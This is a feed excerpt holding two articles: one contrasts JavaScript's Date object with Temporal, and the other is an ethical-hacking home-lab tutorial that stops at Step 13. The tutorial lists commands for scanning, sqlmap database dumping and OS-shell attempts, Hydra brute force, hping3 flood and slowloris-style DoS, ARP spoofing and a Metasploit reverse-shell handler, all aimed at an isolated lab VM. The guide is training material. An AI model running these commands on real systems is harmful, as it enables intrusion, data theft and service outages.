&lt;p&gt;&lt;code&gt;Date&lt;/code&gt; objects can be changed in place. That sounds fine until you pass one around your app and something quietly changes it behind your back.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const meeting = new Date('2024-03-01');
const followUp = meeting;
followUp.setMonth(followUp.getMonth() + 1);

console.log(meeting.toDateString()); // &quot;Mon Apr 01 2024&quot; (wait, the original changed too)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You never touched &lt;code&gt;meeting&lt;/code&gt; directly. But &lt;code&gt;followUp&lt;/code&gt; is just a reference to the same object, so changing one changes both. This is a really easy mistake to make, and it tends to show up in bigger codebases where a date gets passed through a few layers of functions.&lt;/p&gt;
&lt;h5 id=&quot;adding-months-doesn-t-do-what-you-d-expect-&quot;&gt;Adding months doesn't do what you'd expect.&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const jan31 = new Date(2024, 0, 31); // Jan 31, 2024
jan31.setMonth(jan31.getMonth() + 1);

console.log(jan31.toDateString()); // &quot;Sat Mar 02 2024&quot; (not February at all)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;February only has 29 days that year, so &lt;code&gt;Date&lt;/code&gt; just overflows into March instead of clamping to the end of the month. If you're building anything with recurring billing or subscription renewals, this kind of bug is waiting for you, usually right around the 29th, 30th, or 31st.&lt;/p&gt;
&lt;h5 id=&quot;parsing-strings-is-a-bit-of-a-gamble-&quot;&gt;Parsing strings is a bit of a gamble.&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;console.log(new Date('01/02/2024').toDateString());
// &quot;Tue Jan 02 2024&quot; (read as MM/DD/YYYY)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Is that January 2nd or February 1st? Depends on the browser, the locale, and the exact string. ISO strings like &lt;code&gt;2024-01-02&lt;/code&gt; are safer, but plenty of real input in the wild isn't in ISO format, and &lt;code&gt;Date&lt;/code&gt; doesn't give you a good way to say &quot;parse this the way I mean.&quot;&lt;/p&gt;
&lt;h5 id=&quot;it-mixes-up-three-different-ideas-&quot;&gt;It mixes up three different ideas.&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;Date&lt;/code&gt; treats these three things as if they were the same thing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a calendar date, like &quot;March 1st&quot;&lt;/li&gt;
&lt;li&gt;a wall-clock time, like &quot;3:00 PM&quot;&lt;/li&gt;
&lt;li&gt;an exact moment in time, tied to a specific place&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A birthday doesn't have a timezone. A 3 PM meeting only makes sense once you know whose 3 PM you mean. But under the hood, &lt;code&gt;Date&lt;/code&gt; always stores a single number (milliseconds since the Unix epoch) and quietly converts through whatever timezone your machine happens to be running in. That's a pretty easy way to introduce a bug that only shows up once your app hits a server in a different timezone.&lt;/p&gt;
&lt;p&gt;And speaking of timezones, &lt;code&gt;Date&lt;/code&gt; doesn't really support them. You get UTC, and you get &quot;whatever timezone this computer is set to,&quot; and nothing in between. Anything more than that means reaching for a library like &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.npmjs.com/package/luxon&quot;&gt;&lt;code&gt;luxon&lt;/code&gt;&lt;/a&gt; or &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.npmjs.com/package/@date-fns/tz&quot;&gt;&lt;code&gt;date-fns-tz&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;so-what-s-temporal-&quot;&gt;So what's Temporal?&lt;/h4&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://tc39.es/proposal-temporal/docs/&quot;&gt;&lt;code&gt;Temporal&lt;/code&gt;&lt;/a&gt; is a modern date and time API for JavaScript, built to replace &lt;code&gt;Date&lt;/code&gt; outright. It has officially reached &lt;strong&gt;TC39 Stage 4&lt;/strong&gt;, making it a permanent part of the standard ECMAScript specification. It is now supported natively across major modern runtimes, including &lt;code&gt;Chrome&lt;/code&gt;, &lt;code&gt;Firefox&lt;/code&gt;, and &lt;code&gt;Node.js&lt;/code&gt;. You can still ensure full cross-environment compatibility today by using production-ready packages like &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/js-temporal/temporal-polyfill&quot;&gt;&lt;code&gt;@js-temporal/polyfill&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The big idea is that instead of one object trying to be everything, you get separate types for separate concepts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Temporal.PlainDate&lt;/code&gt;: just a calendar date, no time, no timezone&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Temporal.PlainTime&lt;/code&gt;: just a time, no date&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Temporal.PlainDateTime&lt;/code&gt;: date and time together, still no timezone&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Temporal.ZonedDateTime&lt;/code&gt;: an exact moment, tied to a real timezone&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Temporal.Instant&lt;/code&gt;: an exact moment on the UTC timeline&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Temporal.Duration&lt;/code&gt;: a length of time, like &quot;2 hours 30 minutes&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let's see how this actually plays out.&lt;/p&gt;
&lt;h5 id=&quot;it-doesn-t-let-you-mutate-by-accident-&quot;&gt;It doesn't let you mutate by accident.&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const meeting = Temporal.PlainDate.from('2024-03-01');
const followUp = meeting.add({ months: 1 });

console.log(meeting.toString());   // &quot;2024-03-01&quot; (untouched)
console.log(followUp.toString());  // &quot;2024-04-01&quot; (a brand new object)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;add()&lt;/code&gt; always hands back a new value. The original is never touched, so there's nothing to accidentally break further down the call stack.&lt;/p&gt;
&lt;h5 id=&quot;month-math-actually-makes-sense-&quot;&gt;Month math actually makes sense.&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const jan31 = Temporal.PlainDate.from('2024-01-31');
const nextMonth = jan31.add({ months: 1 });

console.log(nextMonth.toString()); // &quot;2024-02-29&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since February doesn't have a 31st, Temporal clamps to the last real day of that month instead of spilling over into March. (2024 is a leap year, so it lands on the 29th rather than the 28th, nice.)&lt;/p&gt;
&lt;h5 id=&quot;parsing-is-boring-in-a-good-way-&quot;&gt;Parsing is boring, in a good way.&lt;/h5&gt;
&lt;p&gt;Temporal only parses ISO 8601 by default, so there's no guessing between MM/DD and DD/MM:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const date = Temporal.PlainDate.from('2024-01-02');
console.log(date.toString()); // &quot;2024-01-02&quot; (always year-month-day)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you need to handle something like &lt;code&gt;&quot;1 Feb 2024&quot;&lt;/code&gt;, you convert it explicitly yourself, rather than hoping the engine guesses right.&lt;/p&gt;
&lt;h5 id=&quot;timezones-are-handled-properly-dst-and-all-&quot;&gt;Timezones are handled properly, DST and all.&lt;/h5&gt;
&lt;p&gt;This is probably the best part. Here's a time in New York, right as Daylight Saving kicks in:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const beforeDST = Temporal.ZonedDateTime.from(
  '2024-03-10T01:30:00[America/New_York]'
);
console.log(beforeDST.toString());
// &quot;2024-03-10T01:30:00-05:00[America/New_York]&quot;

const oneHourLater = beforeDST.add({ hours: 1 });
console.log(oneHourLater.toString());
// &quot;2024-03-10T03:30:00-04:00[America/New_York]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A couple of things happen here: the offset flips from &lt;code&gt;-05:00&lt;/code&gt; to &lt;code&gt;-04:00&lt;/code&gt; on its own, and the clock jumps from 1:30 to 3:30 (a full two hours) because 2:00 to 2:59 simply doesn't exist that morning in New York. Temporal knows that and handles it correctly by default. With plain &lt;code&gt;Date&lt;/code&gt;, getting this right takes careful manual offset math; here it just works.&lt;/p&gt;
&lt;h5 id=&quot;durations-aren-t-an-afterthought-either-&quot;&gt;Durations aren't an afterthought either.&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const projectStart = Temporal.PlainDate.from('2024-06-01');
const projectEnd = Temporal.PlainDate.from('2024-06-15');

const span = projectStart.until(projectEnd);
console.log(span.days); // 14

const deadline = Temporal.Duration.from({ hours: 26 });
console.log(deadline.toString()); // &quot;PT26H&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;until()&lt;/code&gt; gives you back a real &lt;code&gt;Duration&lt;/code&gt; object, and you can ask it for &lt;code&gt;.days&lt;/code&gt;, &lt;code&gt;.hours&lt;/code&gt;, or a total in whatever unit you want, no dividing by 86400000 by hand.&lt;/p&gt;
&lt;h4 id=&quot;should-you-actually-use-it-right-now-&quot;&gt;Should you actually use it right now?&lt;/h4&gt;
&lt;p&gt;Browser support is rolling out, but it's not everywhere yet, so for now you'll probably want the polyfill:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install @js-temporal/polyfill
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { Temporal } from '@js-temporal/polyfill';
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Worth checking &lt;a rel=&quot;nofollow&quot; href=&quot;https://caniuse.com/temporal&quot;&gt;caniuse.com/temporal&lt;/a&gt; before you decide whether you need it for your target environment.&lt;/p&gt;
&lt;h4 id=&quot;bottom-line&quot;&gt;Bottom line&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;Date&lt;/code&gt; isn't going anywhere. It's too deeply baked into the platform to remove. But for new code, Temporal is just a better tool: it doesn't mutate behind your back, it's upfront about timezones, and it doesn't have the silent overflow bugs that have probably caused a production incident or two somewhere. If you've ever chased down a mystery bug involving a date that was off by a month or an hour, Temporal was built with exactly that headache in mind.&lt;/p&gt;
&lt;p&gt;Keep building, keep vibing!&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29825/goodbye-date-why-javascript-is-finally-getting-dates-right</guid>
<pubDate>Mon, 05 Oct 2026 08:49:38 +0000</pubDate>
</item>
<item>
<title>How to Build a Safe, Isolated Cybersecurity Home Lab (Kali + Ubuntu)</title>
<link>https://coderlegion.com/29401/how-to-build-a-safe-isolated-cybersecurity-home-lab-kali-ubuntu</link>
<description>&lt;p&gt;Reading about a SQL injection isn't the same as triggering one yourself and watching the database dump on screen. That's why I built my own home lab, and why I wrote this guide to help you build yours.&lt;/p&gt;
&lt;p&gt;A cybersecurity home lab is a small, self-contained network you build on your own computer, entirely cut off from the internet and your home network. You run two virtual machines: one plays the attacker (Kali Linux, loaded with security tools) and the other plays the target (Ubuntu Server, configured with intentionally vulnerable services).&lt;/p&gt;
&lt;p&gt;You then practice the same techniques real penetration testers use, scanning, exploiting, monitoring, and defending, without any risk to a real system.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;My name is Elijah Abolaji, and I developed this guide for educational purposes only.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ Legal &amp;amp; Ethical Ground Rules&lt;/p&gt;
&lt;p&gt;Every tool in this guide is dual-use: the same command that finds a vulnerability in your lab can cause real damages, and real legal consequences. If pointed at a system you don't own.&lt;/p&gt;
&lt;p&gt;Rule #1: Only ever run these tools against machines you personally own or have explicit written authorization to test. In this guide, that means the Ubuntu VM you build yourself, on an isolated virtual network with no route to the internet or your home Wi-Fi.&lt;/p&gt;
&lt;p&gt;Rule #2: Unauthorized scanning, exploitation, or denial-of-service against systems you don't control is illegal in most countries (including Nigeria), even when done &quot;just to learn.&quot; Keep this lab air-gapped from anything else.&lt;br&gt;
️ Hardware Requirements&lt;/p&gt;
&lt;p&gt;For a smooth-running lab, you'll need a computer with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4-core processor

16GB RAM

SSD storage
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything below this still works, but not efficiently.&lt;/p&gt;
&lt;p&gt;️ Step 1: Install VirtualBox&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go to virtualbox.org and open the Downloads page.

Download the installer for your host OS (Windows / macOS / Linux).

Run the installer and accept the default options.

Also download the matching VirtualBox Extension Pack from the same page and install it from inside VirtualBox (File → Preferences → Extensions). It adds USB and network features you'll want later.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 2: Download &amp;amp; Install Kali Linux (Attacker)&lt;/p&gt;
&lt;p&gt;What is Kali? A Debian-based distribution pre-loaded with hundreds of security and penetration-testing tools: Nmap, Metasploit, Burp Suite, SQLmap, and everything else in Part 1 of this guide.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go to kali.org/get-kali and choose Virtual Machines.

Download the pre-built VirtualBox image (a .7z file) that matches your CPU architecture—this is faster than installing from an ISO.

Extract the archive, then in VirtualBox choose File → Import Appliance and select the extracted .vbox file.

Once imported, start the VM. Default credentials are username: kali, password: kali—change the password immediately with passwd.

Update the tool set:
bash

sudo apt update &amp;amp;&amp;amp; sudo apt full-upgrade -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 3: Download &amp;amp; Install Ubuntu Server (Target)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go to ubuntu.com/download/server and download the latest Ubuntu Server LTS ISO.

In VirtualBox, click New, name the VM &quot;Ubuntu-Target&quot; (or any preferred name), and attach the ISO as the virtual optical drive.

Give it at least 2 GB RAM and 20 GB disk, then follow the installer, accepting default partitioning.

When prompted, install the OpenSSH server option so Kali can connect to it later.

After installation completes, remove the ISO from the virtual drive and reboot.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 4: Building the Isolated Lab Network&lt;/p&gt;
&lt;p&gt;This is the most important safety step in the whole guide. You want Kali and Ubuntu to talk to each other, but not to anything else.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In VirtualBox: File → Host Network Manager → create a Host-Only Network (e.g., vboxnet0, range 192.168.100.0/24).

Kali VM → Settings → Network → Adapter 1 → attach to Host-only Adapter → choose vboxnet0.

Repeat for the Ubuntu VM, attaching it to the same host-only network. Set IP addresses for both machines and use the default gateway in the same subnet.

Boot both VMs and confirm they can see each other:
bash

# From Kali
ping 192.168.100.20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both VMs sit on the same Host-Only network (192.168.100.0/24)—isolated from your home Wi-Fi and the internet.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Double-check: A Host-Only network has no route to the internet by design. If you also attach a NAT adapter for updates, DoS/exploitation traffic should still only ever target 192.168.100.20.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 5: Reconnaissance &amp;amp; Scanning (from Kali)&lt;/p&gt;
&lt;p&gt;Everything below runs on the Kali VM, targeting the Ubuntu VM's IP (192.168.100.20).&lt;/p&gt;
&lt;p&gt;Goal: Find out what's alive on the network and which ports/services are open before touching anything.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;host-discovery-amp-port-scanning&quot;&gt;Host discovery &amp;amp; port scanning&lt;/h2&gt;
&lt;p&gt;nmap 192.168.100.0/24           # scan the subnet&lt;br&gt;
nmap -sn 192.168.100.0/24       # ping sweep&lt;br&gt;
nmap -p- 192.168.100.20         # all 65535 ports&lt;br&gt;
sudo nmap -sS 192.168.100.20    # SYN stealth scan&lt;/p&gt;
&lt;h2 id=&quot;service-amp-os-detection&quot;&gt;Service &amp;amp; OS detection&lt;/h2&gt;
&lt;p&gt;sudo nmap -A 192.168.100.20     # OS, version, scripts&lt;br&gt;
sudo nmap -sV -p- 192.168.100.20 # version detect, all ports&lt;br&gt;
sudo nmap -O 192.168.100.20     # OS fingerprinting&lt;/p&gt;
&lt;h2 id=&quot;nmap-scripting-engine-nse-&quot;&gt;Nmap Scripting Engine (NSE)&lt;/h2&gt;
&lt;p&gt;nmap --script vuln 192.168.100.20&lt;br&gt;
nmap -p 22 --script ssh-auth-methods,ssh-hostkey 192.168.100.20&lt;br&gt;
nmap -p 80 --script http-enum,http-headers 192.168.100.20&lt;/p&gt;
&lt;p&gt;Tip: Save your scan output: nmap -oA scan 192.168.100.20 writes normal, XML, and grepable formats at once.&lt;br&gt;
 Step 6: Web Enumeration&lt;/p&gt;
&lt;p&gt;Goal: Once port 80/443 is open, map out what the web application actually contains: hidden directories, files, misconfigurations.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;directory-brute-forcing&quot;&gt;Directory brute-forcing&lt;/h2&gt;
&lt;p&gt;gobuster dir -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt; -w /usr/share/wordlists/dirb/common.txt&lt;br&gt;
feroxbuster -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt; -w /usr/share/seclists/Discovery/Web-Content/common.txt&lt;/p&gt;
&lt;h2 id=&quot;automated-amp-manual-scanning&quot;&gt;Automated &amp;amp; manual scanning&lt;/h2&gt;
&lt;p&gt;nikto -h &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt;       # automated vulnerability scanner&lt;br&gt;
curl -i &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt;        # view response headers&lt;br&gt;
curl -X POST -d &quot;id=1&quot; &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/vulnerable.php&quot;&gt;http://192.168.100.20/vulnerable.php&lt;/a&gt;&lt;br&gt;
burpsuite                            # launch the Burp Suite proxy (GUI)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Note: Burp Suite's proxy is how you'll capture authenticated requests (with login cookies) to feed into SQLmap on the next step.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 7: SQL Injection with SQLmap&lt;/p&gt;
&lt;p&gt;Goal: Confirm and exploit an injectable parameter to prove data can be extracted—this is why DVWA on the Ubuntu target exists.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;basic-usage&quot;&gt;Basic usage&lt;/h2&gt;
&lt;p&gt;sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; --batch&lt;br&gt;
sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; --dbs&lt;br&gt;
sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; -D dwva --tables&lt;br&gt;
sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; -D dwva -T users --dump&lt;/p&gt;
&lt;h2 id=&quot;using-a-captured-request-with-auth-cookies-&quot;&gt;Using a captured request (with auth cookies)&lt;/h2&gt;
&lt;p&gt;sqlmap -r request.txt --batch --dbs&lt;br&gt;
sqlmap -r request.txt --batch -D dwva -T users --dump&lt;/p&gt;
&lt;h2 id=&quot;advanced-options&quot;&gt;Advanced options&lt;/h2&gt;
&lt;p&gt;sqlmap -r request.txt --batch --level=5 --risk=3   # more thorough&lt;br&gt;
sqlmap -r request.txt --batch --os-shell           # attempt OS shell&lt;br&gt;
sqlmap -r request.txt --batch --tamper=space2comment # WAF bypass&lt;/p&gt;
&lt;p&gt; Step 8: Password Attacks&lt;/p&gt;
&lt;p&gt;Goal: Test whether weak or default credentials on the Ubuntu target can be guessed—a huge share of real breaches start exactly this way.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;hydra---online-brute-force&quot;&gt;Hydra - online brute force&lt;/h2&gt;
&lt;p&gt;hydra -L users.txt -P pass.txt ssh://192.168.100.20 -t 4 -V&lt;br&gt;
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.20&lt;br&gt;
hydra -L users.txt -P pass.txt http-post-form &quot;/login:user=^USER^&amp;amp;pass=^PASS^:Invalid&quot;&lt;/p&gt;
&lt;h2 id=&quot;john-the-ripper---offline-cracking&quot;&gt;John the Ripper - offline cracking&lt;/h2&gt;
&lt;p&gt;john --wordlist=rockyou.txt hashes.txt&lt;br&gt;
john --format=raw-md5 --wordlist=rockyou.txt hash.txt&lt;/p&gt;
&lt;h2 id=&quot;hashcat---gpu-cracking&quot;&gt;Hashcat - GPU cracking&lt;/h2&gt;
&lt;p&gt;hashcat -m 0 hash.txt rockyou.txt      # MD5&lt;br&gt;
hashcat -m 1000 hash.txt rockyou.txt   # NTLM&lt;/p&gt;
&lt;p&gt;Tool	Best for&lt;br&gt;
Hydra	Live login attempts against a running service (SSH, web forms)&lt;br&gt;
John the Ripper	Cracking a password hash you already have, CPU-based&lt;br&gt;
Hashcat	Cracking hashes fast using your GPU&lt;br&gt;
 Step 9: Denial of Service (DoS) Testing&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Lab only: These commands can knock a real server offline. Run them only against your own isolated Ubuntu-Target VM—never anything else.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before you start: hping3 ships with Kali by default. Install anything missing:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo apt install -y hping3 slowhttptest apache2-utils&lt;/p&gt;
&lt;p&gt;bash&lt;/p&gt;
&lt;h2 id=&quot;hping3---flood-attacks&quot;&gt;hping3 - flood attacks&lt;/h2&gt;
&lt;p&gt;sudo hping3 -S --flood -p 80 192.168.100.20&lt;br&gt;
sudo hping3 -S --flood --rand-source -p 80 192.168.100.20&lt;br&gt;
sudo hping3 --udp --flood -p 80 192.168.100.20&lt;br&gt;
sudo hping3 --icmp --flood 192.168.100.20&lt;/p&gt;
&lt;h2 id=&quot;slowhttptest---application-layer&quot;&gt;slowhttptest - application-layer&lt;/h2&gt;
&lt;p&gt;slowhttptest -B -c 1000 -i 10 -l 300 -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/&quot;&gt;http://192.168.100.20/&lt;/a&gt; # Slow POST&lt;br&gt;
slowhttptest -R -c 1000 -i 10 -l 300 -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/&quot;&gt;http://192.168.100.20/&lt;/a&gt; # Slow Read&lt;/p&gt;
&lt;h2 id=&quot;apache-benchmark---load-testing&quot;&gt;Apache Benchmark - load testing&lt;/h2&gt;
&lt;p&gt;ab -n 10000 -c 500 &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/&quot;&gt;http://192.168.100.20/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;hping3 flags: -S SYN flag · --flood send as fast as possible · --rand-source spoof source IPs · -p destination port · -i u1000 interval in microseconds&lt;br&gt;
️ Step 10: Sniffing &amp;amp; Man-in-the-Middle&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;packet-capture&quot;&gt;Packet capture&lt;/h2&gt;
&lt;p&gt;wireshark                                   # packet capture GUI&lt;br&gt;
sudo tcpdump -i eth0 -w capture.pcap&lt;br&gt;
sudo tcpdump -i eth0 port 80 -A&lt;br&gt;
sudo tcpdump -i eth0 host 192.168.100.20&lt;/p&gt;
&lt;h2 id=&quot;arp-spoofing-amp-mitm-frameworks&quot;&gt;ARP spoofing &amp;amp; MITM frameworks&lt;/h2&gt;
&lt;p&gt;sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1&lt;br&gt;
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20&lt;/p&gt;
&lt;p&gt;sudo ettercap -G                            # GUI&lt;br&gt;
sudo bettercap -iface eth0&lt;/p&gt;
&lt;p&gt;How this works: ARP spoofing tricks both the target and the gateway into sending traffic through your Kali machine first, letting Wireshark or bettercap see it in transit. This only works within the same local network segment—exactly what your host-only lab network provides.&lt;br&gt;
 Step 11: Metasploit Framework&lt;/p&gt;
&lt;p&gt;Goal: Move from &quot;this service looks vulnerable&quot; to an actual working exploit against the Ubuntu target, using a pre-built module.&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo msfconsole&lt;/p&gt;
&lt;p&gt;Inside msfconsole:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;search ssh_login&lt;br&gt;
use auxiliary/scanner/ssh/ssh_login&lt;br&gt;
set RHOSTS 192.168.100.20&lt;br&gt;
set USERNAME testuser&lt;br&gt;
set PASSWORD password123&lt;br&gt;
run&lt;/p&gt;
&lt;p&gt;Reverse shell example:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;use exploit/multi/handler&lt;br&gt;
set PAYLOAD linux/x64/meterpreter/reverse_tcp&lt;br&gt;
set LHOST 192.168.100.10&lt;br&gt;
set LPORT 4444&lt;br&gt;
run&lt;/p&gt;
&lt;p&gt; Step 12: Snapshot Management (VBoxManage)&lt;/p&gt;
&lt;p&gt;Why: Take a snapshot before every risky experiment so a botched exploit or a crashed service is one command away from undone. You can take the snapshot by opening the machine dialogue on the top-left of the VM or use the bash commands below.&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;VBoxManage list vms&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; take &quot;Snapshot-Name&quot; --description &quot;Description&quot;&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; list&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; restore &quot;Snapshot-Name&quot;&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; delete &quot;Snapshot-Name&quot;&lt;/p&gt;
&lt;h2 id=&quot;vm-power-control&quot;&gt;VM power control&lt;/h2&gt;
&lt;p&gt;VBoxManage startvm &quot;Kali&quot; --type headless&lt;br&gt;
VBoxManage controlvm &quot;Kali&quot; poweroff&lt;/p&gt;
&lt;p&gt;⚙️ Part 2: Ubuntu Target Configuration&lt;/p&gt;
&lt;p&gt;Everything below runs on the Ubuntu VM, giving Kali a normal network stack and running services to find.&lt;br&gt;
Network &amp;amp; Service Configuration&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;network-configuration&quot;&gt;Network configuration&lt;/h2&gt;
&lt;p&gt;ip a                                    # check interfaces&lt;br&gt;
sudo nano /etc/netplan/01-netcfg.yaml   # static IP config&lt;br&gt;
sudo netplan apply                      # apply changes&lt;br&gt;
sudo netplan try                        # test, auto-rollback if it fails&lt;br&gt;
ping -c 3 192.168.100.10                # verify Kali is reachable&lt;/p&gt;
&lt;h2 id=&quot;service-management&quot;&gt;Service management&lt;/h2&gt;
&lt;p&gt;sudo systemctl restart apache2&lt;br&gt;
sudo systemctl restart ssh&lt;br&gt;
sudo systemctl restart mariadb&lt;/p&gt;
&lt;p&gt;sudo systemctl status apache2&lt;br&gt;
sudo systemctl status ssh&lt;br&gt;
sudo systemctl status mariadb&lt;/p&gt;
&lt;h2 id=&quot;check-listening-ports&quot;&gt;Check listening ports&lt;/h2&gt;
&lt;p&gt;ss -tlnp&lt;br&gt;
sudo netstat -tlnp&lt;/p&gt;
&lt;p&gt;SSH Server Setup&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;install-amp-enable&quot;&gt;Install &amp;amp; enable&lt;/h2&gt;
&lt;p&gt;sudo apt update&lt;br&gt;
sudo apt install -y openssh-server&lt;br&gt;
sudo systemctl enable --now ssh&lt;br&gt;
sudo systemctl status ssh&lt;/p&gt;
&lt;h2 id=&quot;create-a-test-account-amp-review-config&quot;&gt;Create a test account &amp;amp; review config&lt;/h2&gt;
&lt;p&gt;sudo adduser testuser                   # for Hydra practice&lt;br&gt;
sudo nano /etc/ssh/sshd_config&lt;/p&gt;
&lt;p&gt;Key options to inspect:&lt;br&gt;
text&lt;/p&gt;
&lt;p&gt;PermitRootLogin no&lt;br&gt;
PasswordAuthentication yes&lt;br&gt;
Port 22&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Why a test account? The Password Attacks section uses Hydra against SSH—create a deliberately weak-password account here so there's something realistic to crack in your own lab.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MariaDB / MySQL Setup&lt;/p&gt;
&lt;p&gt;Why: DVWA (next step) needs a database and a dedicated database user to store its own accounts and vulnerable tables. With DVWA, you can perform SQL injection attacks from a web interface by visiting: &lt;a rel=&quot;nofollow&quot; href=&quot;http://target-ip/DVWA&quot;&gt;http://target-ip/DVWA&lt;/a&gt;&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo mysql -u root&lt;/p&gt;
&lt;p&gt;Inside MySQL:&lt;br&gt;
sql&lt;/p&gt;
&lt;p&gt;CREATE DATABASE dwva;&lt;br&gt;
CREATE USER 'dwva'@'localhost' IDENTIFIED BY 'p@ssw0rd';&lt;br&gt;
GRANT ALL PRIVILEGES ON dwva.* TO 'dwva'@'localhost';&lt;br&gt;
FLUSH PRIVILEGES;&lt;/p&gt;
&lt;p&gt;SHOW DATABASES;&lt;br&gt;
USE dwva;&lt;br&gt;
SHOW TABLES;&lt;br&gt;
SELECT * FROM users;&lt;br&gt;
EXIT;&lt;/p&gt;
&lt;p&gt;Step 13: Installing DVWA (Vulnerable Web App)&lt;/p&gt;
